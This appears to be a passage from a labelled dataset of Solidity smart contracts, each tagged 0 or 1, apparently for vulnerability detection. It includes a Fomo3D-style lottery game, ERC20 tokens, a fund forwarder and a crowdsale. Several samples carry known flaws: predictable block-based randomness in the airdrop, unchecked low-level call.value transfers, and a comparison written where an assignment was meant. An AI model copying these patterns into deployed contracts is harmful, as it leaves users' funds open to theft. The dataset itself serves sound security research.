emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
coin_base.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
coin_base.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 355 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply()public view returns (uint total_Supply);
function balanceOf(address who)public view returns (uint256);
function allowance(address owner, address spender)public view returns (uint);
function transferFrom(address from, address to, uint value)public returns (bool ok);
function approve(address spender, uint value)public returns (bool ok);
function transfer(address to, uint value)public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Hedger is ERC20
{ using SafeMath for uint256;
string public constant name = "Hedger";
string public constant symbol = "HDR";
uint8 public constant decimals = 18;
uint public Totalsupply;
address public owner;
uint256 no_of_tokens;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public
{
owner = msg.sender;
}
function mintTokens(address seller, uint256 _amount) external onlyOwner{
require(_amount > 0);
require( seller != 0x0 && _amount > 0);
balances[seller] = (balances[seller]).add(_amount);
Totalsupply = (Totalsupply).add(_amount);
emit Transfer(0, seller, _amount);
}
function burnTokens(uint256 _amount) public returns (bool success){
require(balances[msg.sender] >= _amount);
require( _amount > 0);
balances[msg.sender] = (balances[msg.sender]).sub(_amount);
Totalsupply = Totalsupply.sub(_amount);
emit Transfer(msg.sender, 0, _amount);
return true;
}
function totalSupply() public view returns (uint256 total_Supply) {
total_Supply = Totalsupply;
}
function balanceOf(address _owner)public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom( address _from, address _to, uint256 _amount )public returns (bool success) {
require( _to != 0x0);
require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0);
balances[_from] = (balances[_from]).sub(_amount);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount)public returns (bool success) {
require( _spender != 0x0);
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)public view returns (uint256 remaining) {
require( _owner != 0x0 && _spender !=0x0);
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _amount)public returns (bool success) {
require( _to != 0x0);
require(balances[msg.sender] >= _amount && _amount >= 0);
balances[msg.sender] = (balances[msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferOwnership(address newOwner) external onlyOwner
{
require( newOwner != 0x0);
balances[newOwner] = (balances[newOwner]).add(balances[owner]);
balances[owner] = 0;
owner = newOwner;
emit Transfer(msg.sender, newOwner, balances[newOwner]);
}
} | 1 | 4,101 |
pragma solidity ^0.5.1;
contract X3ProfitMainFundTransferV3 {
uint public constant maxBalance = 340282366920938463463374607431768211456 wei;
address payable public constant ADDRESS_EIFP2_CONTRACT = 0xf85D337017D9e6600a433c5036E0D18EdD0380f3;
function () external payable {
if(msg.value == 0 || msg.data.length > 0){
if(ADDRESS_EIFP2_CONTRACT.balance > maxBalance)
{
msg.sender.transfer(address(this).balance);
return;
}
ADDRESS_EIFP2_CONTRACT.call.value(address(this).balance)("");
}
}
} | 1 | 2,730 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract TestCrowdsaleCryptoMind {
address public beneficiary;
uint public fundingGoal;
uint public MaxToken;
uint public amountRaised;
uint public deadline;
uint public StartCrowdsale;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function TestCrowdsaleCryptoMind() {
beneficiary = 0x41A2fe9687Ae815176166616D222B48DA6a36546;
fundingGoal = 0.01 * 1 ether;
MaxToken = 300 * 1 ether;
StartCrowdsale = 1507766400;
deadline = 1508536800;
price = 1000;
tokenReward = token(0xbCBD4c956E765fEEce4F44ea6909A9301C6c4703);
}
function () payable {
require(!crowdsaleClosed);
require(now > StartCrowdsale);
require(amountRaised + msg.value > amountRaised);
require(amountRaised + msg.value < MaxToken);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 827 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
